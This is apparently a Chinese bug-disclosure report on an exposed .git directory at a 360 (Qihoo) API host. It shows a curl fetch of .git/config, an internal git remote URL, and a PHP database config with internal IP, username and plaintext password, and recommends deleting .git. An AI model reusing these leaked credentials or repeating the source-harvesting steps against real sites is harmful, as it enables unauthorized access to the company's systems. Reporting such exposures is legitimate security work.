漏洞细节
##URL
http://api.b.360.cn/.git
发现是天擎的管理后台源码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>天擎6全国用户分布图</title>
##.git/config
➜ GitHack git:(master) ✗ curl http://api.b.360.cn/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = https://git.corp.qihoo.net/360wangguanban/u_b_360_cn_code.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "dev_newub360cn"]
remote = origin
merge = refs/heads/dev_newub360cn
[branch "sync_api_b_360_cn"]
remote = origin
merge = refs/heads/sync_api_b_360_cn
[branch "bugfix_2018XXXX"]
remote = origin
merge = refs/heads/bugfix_2018XXXX
##数据库配置文件
<?php
// This is the database connection configuration.
return array(
// 'connectionString' => 'sqlite:'.dirname(__FILE__).'/../data/testdrive.db',
// uncomment the following lines to use a MySQL database
'class' => 'CDbConnection',
'connectionString' => sprintf('mysql:host=%s;port=%s;dbname=%s', '10.131.199.254', '3489', 'entvalidate'),
'emulatePrepare' => true,
'username' => 'entvalidate',
'password' => '056f8ceb1c3953ae',
'charset' => 'utf8',
);
修复方案
删除.git